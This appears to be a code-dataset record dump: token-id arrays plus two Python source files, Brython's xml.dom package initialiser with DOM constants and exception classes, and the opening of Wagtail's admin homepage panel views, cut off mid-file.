[ 7283, 14, 16645, 14, 20034, 492, 10695, 7772, 12, 31084, 199, 646, 2050, 199, 199, 2921, 275, 2050, 14, 5572, 8, 636, 354, 363, 776, 199, 199, 893, 26, 199, 198, 646, 19199, 199, 198, 646, 2680, 421, 198, 32, 7772, 14, 2683, 8, 283, 2798, 7, 776, 199, 198, 533, 14794, 7772, 8, 10695, 7772, 3461, 2742, 198, 318, 636, 826, 721, 291, 12, 627, 589, 12, 1011, 958, 3461, 686, 198, 4792, 8, 14794, 7772, 12, 291, 221, 2843, 826, 721, 291, 12, 627, 589, 12, 1011, 958, 776, 6319, 198, 3, 1218, 314, 9658, 686, 198, 277, 14, 8941, 275, 19199, 14, 8941, 8, 8870, 2326, 534, 7510, 7, 776, 2742, 198, 318, 1475, 63, 2604, 8, 291, 12, 2058, 12, 627, 6759, 3461, 686, 198, 277, 14, 2758, 8, 2058, 776, 6319, 198, 893, 26, 1585, 198, 277, 14, 2798, 8, 2058, 12, 7186, 776, 686, 198, 2590, 334, 1722, 12, 3146, 776, 465, 325, 26, 1585, 198, 3730, 2186, 8, 1871, 198, 2, 6932, 8950, 7186, 3913, 506, 5137, 471, 2, 1585, 198, 9, 2742, 198, 318, 3272, 8, 291, 12, 2058, 3461, 686, 198, 3, 664, 314, 671, 3512, 686, 198, 88, 275, 1425, 8, 413, 12, 822, 8, 2058, 776, 435, 413, 776, 686, 198, 88, 3512, 275, 359, 519, 14, 396, 14, 354, 367, 519, 315, 2058, 1622, 6319, 198, 32538, 14, 1213, 8, 283, 11119, 1338, 1126, 511, 334, 3543, 26, 450, 83, 3171, 450, 2058, 59, 16, 1055, 3543, 12, 19740, 29, 1081, 776, 686, 198, 32538, 14, 26217, 8, 13038, 29, 2710, 776, 686, 198, 32538, 14, 3825, 8, 715, 12, 7557, 415, 2588, 534, 4115, 7, 776, 686, 198, 32538, 14, 14168, 8, 283, 2219, 297, 19740, 29, 975, 776, 686, 198, 32538, 14, 9650, 83, 8, 378, 14, 1717, 776, 686, 198, 32538, 14, 26217, 8, 671, 12, 671, 3512, 776, 2742, 198, 318, 5137, 8, 291, 12, 2058, 12, 7186, 12, 1011, 3291, 3461, 686, 198, 3, 1218, 314, 19695, 686, 198, 13701, 275, 942, 686, 198, 509, 6370, 315, 7186, 26, 1585, 198, 13701, 14, 740, 8, 291, 14, 2798, 63, 5165, 8, 2058, 12, 6370, 2360, 1011, 3291, 5082, 6319, 198, 3, 15906, 695, 686, 198, 32538, 14, 10231, 779, 299, 59, 16, 61, 367, 299, 315, 19695, 467, 7186, 776, 6319, 198, 3, 436, 2498, 652, 686, 198, 32538, 14, 2384, 342, 2742, 198, 318, 5137, 63, 5165, 8, 291, 12, 2058, 12, 6370, 12, 1011, 3291, 3461, 686, 198, 88, 275, 1425, 8, 413, 12, 822, 8, 2058, 776, 435, 413, 776, 686, 198, 89, 275, 359, 307, 14, 362, 63, 5165, 8, 6370, 776, 367, 307, 315, 2058, 1622, 6319, 198, 893, 26, 1585, 198, 2798, 275, 19199, 14, 2798, 8, 671, 12, 612, 12, 1011, 3291, 776, 1585, 198, 32538, 14, 409, 80, 8, 5137, 12, 1871, 198, 1302, 29, 5165, 12, 1871, 198, 472, 20953, 534, 6760, 379, 297, 1871, 198, 24643, 29, 17, 14, 16, 12, 1871, 198, 4211, 628, 4765, 1871, 198, 4211, 890, 29, 713, 14, 16, 12, 1871, 198, 2158, 29, 549, 1585, 198, 9, 16737, 198, 1107, 5137, 686, 198, 2590, 334, 1722, 12, 3146, 776, 465, 325, 26, 1585, 198, 3730, 2186, 8, 1871, 198, 2, 1918, 6370, 18633, 83, 64, 365, 440, 8950, 436, 883, 12850, 440, 506, 5137, 471, 2122, 450, 6370, 1585, 198, 9, 421, 198, 32, 7772, 14, 2683, 8, 283, 2798, 14, 1700, 7, 776, 199, 198, 533, 12377, 10711, 7772, 8, 14794, 7772, 3461, 2742, 198, 318, 5137, 8, 291, 12, 2058, 12, 7186, 12, 1011, 3291, 3461, 686, 198, 3, 1218, 314, 19695, 686, 198, 13701, 275, 942, 686, 198, 88, 275, 2680, 14, 5605, 8, 822, 8, 2058, 5082, 686, 198, 9650, 275, 378, 14, 18, 1182, 822, 8, 7186, 776, 686, 198, 2063, 275, 378, 14, 24, 1182, 822, 8, 7186, 776, 686, 198, 7120, 275, 359, 1585, 198, 8, 284, 7985, 499, 627, 822, 8, 7186, 22583, 284, 15, 552, 8, 6759, 395, 378, 14, 24, 776, 1585, 198, 509, 284, 315, 1425, 8, 413, 12, 822, 8, 7186, 776, 435, 413, 9, 686, 198, 61, 6319, 198, 509, 284, 12, 6370, 315, 3874, 8, 7186, 3461, 1585, 198, 3, 4526, 314, 4681, 946, 2492, 1585, 198, 89, 275, 359, 307, 14, 362, 63, 5165, 8, 6370, 776, 503, 378, 367, 307, 315, 2058, 1622, 16737, 198, 2798, 275, 291, 14, 1700, 8, 1871, 198, 88, 435, 378, 14, 21, 435, 284, 10, 2063, 435, 334, 284, 776, 627, 11042, 12, 1871, 198, 89, 12, 1871, 198, 2063, 29, 2063, 12, 1871, 198, 2326, 29, 7120, 59, 73, 467, 1585, 198, 9, 1585, 198, 13701, 14, 740, 8, 5137, 776, 16737, 198, 32538, 14, 409, 80, 8, 5137, 12, 1871, 198, 1302, 29, 5165, 12, 1871, 198, 2158, 29, 549, 1585, 198, 9, 6319, 198, 3, 15906, 695, 686, 198, 32538, 14, 10231, 779, 299, 59, 16, 61, 367, 299, 315, 19695, 467, 7186, 776, 6319, 198, 3, 436, 2498, 652, 686, 198, 32538, 14, 2384, 342, 2742, 198, 318, 4681, 8, 291, 12, 627, 589, 12, 1011, 958, 3461, 686, 198, 1107, 19199, 14, 1700, 8, 627, 589, 12, 1011, 958, 776, 199, 199, 2590, 3545, 26, 199, 198, 2921, 14, 1757, 8, 298, 16440, 365, 440, 4903, 12, 14794, 7772, 440, 2808, 2122, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
40223236/2015examQ1
static/Brython3.1.1-20150328-091302/Lib/xml/dom/__init__.py
873
4019
"""W3C Document Object Model implementation for Python. The Python mapping of the Document Object Model is documented in the Python Library Reference in the section on the xml.dom package. This package contains the following modules: minidom -- A simple implementation of the Level 1 DOM with namespace support added (based on the Level 2 specification) and other minor Level 2 functionality. pulldom -- DOM builder supporting on-demand tree-building for selected subtrees of the document. """ class Node: """Class giving the NodeType constants.""" __slots__ = () # DOM implementations may use this as a base class for their own # Node implementations. If they don't, the constants defined here # should still be used as the canonical definitions as they match # the values given in the W3C recommendation. Client code can # safely refer to these values in all tests of Node.nodeType # values. ELEMENT_NODE = 1 ATTRIBUTE_NODE = 2 TEXT_NODE = 3 CDATA_SECTION_NODE = 4 ENTITY_REFERENCE_NODE = 5 ENTITY_NODE = 6 PROCESSING_INSTRUCTION_NODE = 7 COMMENT_NODE = 8 DOCUMENT_NODE = 9 DOCUMENT_TYPE_NODE = 10 DOCUMENT_FRAGMENT_NODE = 11 NOTATION_NODE = 12 #ExceptionCode INDEX_SIZE_ERR = 1 DOMSTRING_SIZE_ERR = 2 HIERARCHY_REQUEST_ERR = 3 WRONG_DOCUMENT_ERR = 4 INVALID_CHARACTER_ERR = 5 NO_DATA_ALLOWED_ERR = 6 NO_MODIFICATION_ALLOWED_ERR = 7 NOT_FOUND_ERR = 8 NOT_SUPPORTED_ERR = 9 INUSE_ATTRIBUTE_ERR = 10 INVALID_STATE_ERR = 11 SYNTAX_ERR = 12 INVALID_MODIFICATION_ERR = 13 NAMESPACE_ERR = 14 INVALID_ACCESS_ERR = 15 VALIDATION_ERR = 16 class DOMException(Exception): """Abstract base class for DOM exceptions. Exceptions with specific codes are specializations of this class.""" def __init__(self, *args, **kw): if self.__class__ is DOMException: raise RuntimeError( "DOMException should not be instantiated directly") Exception.__init__(self, *args, **kw) def _get_code(self): return self.code class IndexSizeErr(DOMException): code = INDEX_SIZE_ERR class DomstringSizeErr(DOMException): code = DOMSTRING_SIZE_ERR class HierarchyRequestErr(DOMException): code = HIERARCHY_REQUEST_ERR class WrongDocumentErr(DOMException): code = WRONG_DOCUMENT_ERR class InvalidCharacterErr(DOMException): code = INVALID_CHARACTER_ERR class NoDataAllowedErr(DOMException): code = NO_DATA_ALLOWED_ERR class NoModificationAllowedErr(DOMException): code = NO_MODIFICATION_ALLOWED_ERR class NotFoundErr(DOMException): code = NOT_FOUND_ERR class NotSupportedErr(DOMException): code = NOT_SUPPORTED_ERR class InuseAttributeErr(DOMException): code = INUSE_ATTRIBUTE_ERR class InvalidStateErr(DOMException): code = INVALID_STATE_ERR class SyntaxErr(DOMException): code = SYNTAX_ERR class InvalidModificationErr(DOMException): code = INVALID_MODIFICATION_ERR class NamespaceErr(DOMException): code = NAMESPACE_ERR class InvalidAccessErr(DOMException): code = INVALID_ACCESS_ERR class ValidationErr(DOMException): code = VALIDATION_ERR class UserDataHandler: """Class giving the operation constants for UserDataHandler.handle().""" # Based on DOM Level 3 (WD 9 April 2002) NODE_CLONED = 1 NODE_IMPORTED = 2 NODE_DELETED = 3 NODE_RENAMED = 4 XML_NAMESPACE = "http://www.w3.org/XML/1998/namespace" XMLNS_NAMESPACE = "http://www.w3.org/2000/xmlns/" XHTML_NAMESPACE = "http://www.w3.org/1999/xhtml" EMPTY_NAMESPACE = None EMPTY_PREFIX = None from .domreg import getDOMImplementation, registerDOMImplementation
gpl-3.0
[ 624, 55, 19, 35, 7543, 6935, 5822, 4514, 367, 2018, 14, 199, 199, 1918, 2018, 4412, 402, 314, 7543, 6935, 5822, 365, 22751, 315, 314, 199, 4718, 11243, 10944, 315, 314, 3420, 641, 314, 2748, 14, 4556, 2559, 14, 199, 199, 2765, 2559, 3509, 314, 2569, 4621, 26, 199, 199, 21827, 1553, 437, 3486, 4514, 402, 314, 20400, 413, 14316, 543, 3231, 1779, 2291, 3483, 334, 6788, 641, 314, 20400, 499, 8929, 9, 436, 1163, 1779, 12612, 20400, 499, 9330, 14, 199, 199, 9302, 4556, 1553, 14316, 6545, 21038, 641, 13, 24152, 3123, 13, 17952, 367, 4895, 1779, 1007, 14635, 402, 314, 2213, 14, 199, 199, 624, 421, 199, 533, 5013, 26, 272, 408, 2543, 15131, 314, 5013, 804, 5262, 1041, 272, 636, 7257, 363, 275, 6248, 339, 327, 14316, 12591, 1443, 675, 642, 465, 282, 1300, 1021, 367, 3932, 5705, 272, 327, 5013, 12591, 14, 221, 982, 2985, 2793, 1133, 12, 314, 5262, 3247, 2348, 272, 327, 1077, 5139, 506, 1202, 465, 314, 11358, 10269, 465, 2985, 1336, 272, 327, 314, 1338, 1627, 315, 314, 644, 19, 35, 295, 22105, 14, 221, 6810, 1233, 883, 272, 327, 19353, 10618, 370, 3520, 1338, 315, 1006, 2295, 402, 5013, 14, 12412, 272, 327, 1338, 14, 339, 662, 10320, 63, 8063, 4483, 275, 413, 272, 10762, 2100, 4586, 63, 8063, 4519, 275, 499, 272, 11951, 63, 8063, 7861, 275, 650, 272, 445, 3998, 63, 13835, 63, 8063, 3515, 275, 841, 272, 32526, 1922, 63, 31177, 63, 8063, 755, 275, 959, 272, 32526, 1922, 63, 8063, 463, 275, 1227, 272, 3611, 35, 1608, 1206, 63, 26347, 53, 5430, 63, 8063, 275, 1520, 272, 25071, 63, 8063, 4483, 275, 1695, 272, 29970, 63, 8063, 5185, 275, 1749, 272, 29970, 63, 2711, 63, 8063, 3515, 275, 1616, 272, 29970, 63, 28147, 63, 8063, 420, 275, 4119, 272, 2845, 2594, 63, 8063, 5185, 275, 3144, 421, 199, 3, 1726, 3034, 199, 10215, 63, 4305, 63, 2666, 463, 275, 413, 199, 10462, 5353, 63, 4305, 63, 2666, 3777, 275, 499, 199, 32724, 63, 6780, 63, 2666, 3515, 275, 650, 199, 6524, 7770, 63, 7884, 63, 2666, 3777, 275, 841, 199, 9692, 63, 29007, 63, 2666, 3515, 275, 959, 199, 2826, 63, 3998, 63, 17350, 63, 2666, 3322, 275, 1227, 199, 2826, 63, 16422, 23380, 2594, 63, 17350, 63, 2666, 259, 275, 1520, 199, 4609, 63, 13945, 63, 2666, 8295, 275, 1695, 199, 4609, 63, 15925, 63, 2666, 4519, 275, 1749, 199, 568, 4701, 63, 17075, 63, 2666, 3322, 275, 1616, 199, 9692, 63, 6689, 63, 2666, 4519, 275, 4119, 199, 20763, 63, 2666, 9326, 275, 3144, 199, 9692, 63, 16422, 23380, 2594, 63, 2666, 755, 275, 4944, 199, 13001, 63, 2666, 8295, 275, 4329, 199, 9692, 63, 11074, 63, 2666, 3777, 275, 4114, 199, 5600, 2594, 63, 2666, 463, 275, 3193, 421, 199, 533, 14316, 1726, 8, 1726, 304, 272, 408, 8458, 1300, 1021, 367, 14316, 4967, 14, 272, 24873, 543, 2488, 9479, 787, 4539, 12270, 402, 642, 1021, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 340, 291, 855, 533, 363, 365, 14316, 1726, 26, 288, 746, 6064, 8, 355, 298, 10462, 1726, 1077, 440, 506, 17544, 5370, 531, 267, 2186, 855, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 9, 339, 347, 485, 362, 63, 600, 8, 277, 304, 267, 372, 291, 14, 600, 421, 199, 533, 5499, 2320, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 17055, 63, 4305, 63, 2666, 199, 199, 533, 577, 676, 875, 2320, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 14316, 5353, 63, 4305, 63, 2666, 199, 199, 533, 869, 8641, 2017, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 869, 41, 540, 7762, 57, 63, 6780, 63, 2666, 199, 199, 533, 30801, 5564, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 16573, 7770, 63, 7884, 63, 2666, 199, 199, 533, 6378, 14852, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 29007, 63, 2666, 199, 199, 533, 3091, 1451, 16070, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 4825, 63, 3998, 63, 17350, 63, 2666, 199, 199, 533, 3091, 29188, 16070, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 4825, 63, 16422, 23380, 2594, 63, 17350, 63, 2666, 199, 199, 533, 21909, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 2845, 63, 13945, 63, 2666, 199, 199, 533, 2832, 10682, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 2845, 63, 15925, 63, 2666, 199, 199, 533, 1010, 1180, 1646, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 473, 1440, 899, 63, 17075, 63, 2666, 199, 199, 533, 6378, 2223, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 6689, 63, 2666, 199, 199, 533, 18377, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 25486, 63, 2666, 199, 199, 533, 6378, 29188, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 16422, 23380, 2594, 63, 2666, 199, 199, 533, 19317, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 26149, 9136, 63, 2666, 199, 199, 533, 6378, 3946, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 11074, 63, 2666, 199, 199, 533, 19381, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 22049, 2594, 63, 2666, 199, 199, 533, 2876, 1451, 2461, 26, 272, 408, 2543, 15131, 314, 3439, 5262, 367, 2876, 1451, 2461, 14, 2479, 20693, 339, 327, 21311, 641, 14316, 20400, 650, 334, 16698, 1749, 437, 28026, 14790, 9, 339, 4825, 1093, 63, 1981, 615, 1149, 257, 275, 413, 272, 4825, 1093, 63, 17576, 1149, 275, 499, 272, 4825, 1093, 63, 27408, 221, 275, 650, 272, 4825, 1093, 63, 50, 742, 1156, 1149, 221, 275, 841, 199, 199, 4317, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 4317, 15, 23756, 15, 3251, 2, 199, 4317, 2709, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8269, 15, 13991, 6687, 199, 56, 4943, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 16278, 15, 12909, 2, 199, 13993, 63, 13001, 275, 488, 199, 13993, 63, 6351, 275, 488, 199, 199, 504, 1275, 4556, 1135, 492, 664, 10462, 7921, 12, 2274, 10462, 7921, 199, 32768, 32768, 32768, 32768 ]
[ 55, 19, 35, 7543, 6935, 5822, 4514, 367, 2018, 14, 199, 199, 1918, 2018, 4412, 402, 314, 7543, 6935, 5822, 365, 22751, 315, 314, 199, 4718, 11243, 10944, 315, 314, 3420, 641, 314, 2748, 14, 4556, 2559, 14, 199, 199, 2765, 2559, 3509, 314, 2569, 4621, 26, 199, 199, 21827, 1553, 437, 3486, 4514, 402, 314, 20400, 413, 14316, 543, 3231, 1779, 2291, 3483, 334, 6788, 641, 314, 20400, 499, 8929, 9, 436, 1163, 1779, 12612, 20400, 499, 9330, 14, 199, 199, 9302, 4556, 1553, 14316, 6545, 21038, 641, 13, 24152, 3123, 13, 17952, 367, 4895, 1779, 1007, 14635, 402, 314, 2213, 14, 199, 199, 624, 421, 199, 533, 5013, 26, 272, 408, 2543, 15131, 314, 5013, 804, 5262, 1041, 272, 636, 7257, 363, 275, 6248, 339, 327, 14316, 12591, 1443, 675, 642, 465, 282, 1300, 1021, 367, 3932, 5705, 272, 327, 5013, 12591, 14, 221, 982, 2985, 2793, 1133, 12, 314, 5262, 3247, 2348, 272, 327, 1077, 5139, 506, 1202, 465, 314, 11358, 10269, 465, 2985, 1336, 272, 327, 314, 1338, 1627, 315, 314, 644, 19, 35, 295, 22105, 14, 221, 6810, 1233, 883, 272, 327, 19353, 10618, 370, 3520, 1338, 315, 1006, 2295, 402, 5013, 14, 12412, 272, 327, 1338, 14, 339, 662, 10320, 63, 8063, 4483, 275, 413, 272, 10762, 2100, 4586, 63, 8063, 4519, 275, 499, 272, 11951, 63, 8063, 7861, 275, 650, 272, 445, 3998, 63, 13835, 63, 8063, 3515, 275, 841, 272, 32526, 1922, 63, 31177, 63, 8063, 755, 275, 959, 272, 32526, 1922, 63, 8063, 463, 275, 1227, 272, 3611, 35, 1608, 1206, 63, 26347, 53, 5430, 63, 8063, 275, 1520, 272, 25071, 63, 8063, 4483, 275, 1695, 272, 29970, 63, 8063, 5185, 275, 1749, 272, 29970, 63, 2711, 63, 8063, 3515, 275, 1616, 272, 29970, 63, 28147, 63, 8063, 420, 275, 4119, 272, 2845, 2594, 63, 8063, 5185, 275, 3144, 421, 199, 3, 1726, 3034, 199, 10215, 63, 4305, 63, 2666, 463, 275, 413, 199, 10462, 5353, 63, 4305, 63, 2666, 3777, 275, 499, 199, 32724, 63, 6780, 63, 2666, 3515, 275, 650, 199, 6524, 7770, 63, 7884, 63, 2666, 3777, 275, 841, 199, 9692, 63, 29007, 63, 2666, 3515, 275, 959, 199, 2826, 63, 3998, 63, 17350, 63, 2666, 3322, 275, 1227, 199, 2826, 63, 16422, 23380, 2594, 63, 17350, 63, 2666, 259, 275, 1520, 199, 4609, 63, 13945, 63, 2666, 8295, 275, 1695, 199, 4609, 63, 15925, 63, 2666, 4519, 275, 1749, 199, 568, 4701, 63, 17075, 63, 2666, 3322, 275, 1616, 199, 9692, 63, 6689, 63, 2666, 4519, 275, 4119, 199, 20763, 63, 2666, 9326, 275, 3144, 199, 9692, 63, 16422, 23380, 2594, 63, 2666, 755, 275, 4944, 199, 13001, 63, 2666, 8295, 275, 4329, 199, 9692, 63, 11074, 63, 2666, 3777, 275, 4114, 199, 5600, 2594, 63, 2666, 463, 275, 3193, 421, 199, 533, 14316, 1726, 8, 1726, 304, 272, 408, 8458, 1300, 1021, 367, 14316, 4967, 14, 272, 24873, 543, 2488, 9479, 787, 4539, 12270, 402, 642, 1021, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 304, 267, 340, 291, 855, 533, 363, 365, 14316, 1726, 26, 288, 746, 6064, 8, 355, 298, 10462, 1726, 1077, 440, 506, 17544, 5370, 531, 267, 2186, 855, 826, 721, 277, 12, 627, 589, 12, 1011, 829, 9, 339, 347, 485, 362, 63, 600, 8, 277, 304, 267, 372, 291, 14, 600, 421, 199, 533, 5499, 2320, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 17055, 63, 4305, 63, 2666, 199, 199, 533, 577, 676, 875, 2320, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 14316, 5353, 63, 4305, 63, 2666, 199, 199, 533, 869, 8641, 2017, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 869, 41, 540, 7762, 57, 63, 6780, 63, 2666, 199, 199, 533, 30801, 5564, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 16573, 7770, 63, 7884, 63, 2666, 199, 199, 533, 6378, 14852, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 29007, 63, 2666, 199, 199, 533, 3091, 1451, 16070, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 4825, 63, 3998, 63, 17350, 63, 2666, 199, 199, 533, 3091, 29188, 16070, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 4825, 63, 16422, 23380, 2594, 63, 17350, 63, 2666, 199, 199, 533, 21909, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 2845, 63, 13945, 63, 2666, 199, 199, 533, 2832, 10682, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 2845, 63, 15925, 63, 2666, 199, 199, 533, 1010, 1180, 1646, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 473, 1440, 899, 63, 17075, 63, 2666, 199, 199, 533, 6378, 2223, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 6689, 63, 2666, 199, 199, 533, 18377, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 25486, 63, 2666, 199, 199, 533, 6378, 29188, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 16422, 23380, 2594, 63, 2666, 199, 199, 533, 19317, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 26149, 9136, 63, 2666, 199, 199, 533, 6378, 3946, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 29901, 63, 11074, 63, 2666, 199, 199, 533, 19381, 5432, 8, 10462, 1726, 304, 272, 1233, 275, 22049, 2594, 63, 2666, 199, 199, 533, 2876, 1451, 2461, 26, 272, 408, 2543, 15131, 314, 3439, 5262, 367, 2876, 1451, 2461, 14, 2479, 20693, 339, 327, 21311, 641, 14316, 20400, 650, 334, 16698, 1749, 437, 28026, 14790, 9, 339, 4825, 1093, 63, 1981, 615, 1149, 257, 275, 413, 272, 4825, 1093, 63, 17576, 1149, 275, 499, 272, 4825, 1093, 63, 27408, 221, 275, 650, 272, 4825, 1093, 63, 50, 742, 1156, 1149, 221, 275, 841, 199, 199, 4317, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 4317, 15, 23756, 15, 3251, 2, 199, 4317, 2709, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 8269, 15, 13991, 6687, 199, 56, 4943, 63, 13001, 275, 298, 1014, 921, 1544, 14, 87, 19, 14, 1308, 15, 16278, 15, 12909, 2, 199, 13993, 63, 13001, 275, 488, 199, 13993, 63, 6351, 275, 488, 199, 199, 504, 1275, 4556, 1135, 492, 664, 10462, 7921, 12, 2274, 10462, 7921, 199, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0 ]
Toshakins/wagtail
wagtail/wagtailadmin/views/home.py
1
3918
from __future__ import absolute_import, unicode_literals from django.conf import settings from django.contrib.auth import get_user_model from django.db import connections from django.shortcuts import render from django.template.loader import render_to_string from wagtail.wagtailadmin.navigation import get_explorable_root_page from wagtail.wagtailadmin.site_summary import SiteSummaryPanel from wagtail.wagtailcore import hooks from wagtail.wagtailcore.models import Page, PageRevision, UserPagePermissionsProxy User = get_user_model() # Panels for the homepage class UpgradeNotificationPanel(object): name = 'upgrade_notification' order = 100 def __init__(self, request): self.request = request def render(self): if self.request.user.is_superuser and getattr(settings, "WAGTAIL_ENABLE_UPDATE_CHECK", True): return render_to_string('wagtailadmin/home/upgrade_notification.html', {}, request=self.request) else: return "" class PagesForModerationPanel(object): name = 'pages_for_moderation' order = 200 def __init__(self, request): self.request = request user_perms = UserPagePermissionsProxy(request.user) self.page_revisions_for_moderation = (user_perms.revisions_for_moderation() .select_related('page', 'user').order_by('-created_at')) def render(self): return render_to_string('wagtailadmin/home/pages_for_moderation.html', { 'page_revisions_for_moderation': self.page_revisions_for_moderation, }, request=self.request) class RecentEditsPanel(object): name = 'recent_edits' order = 300 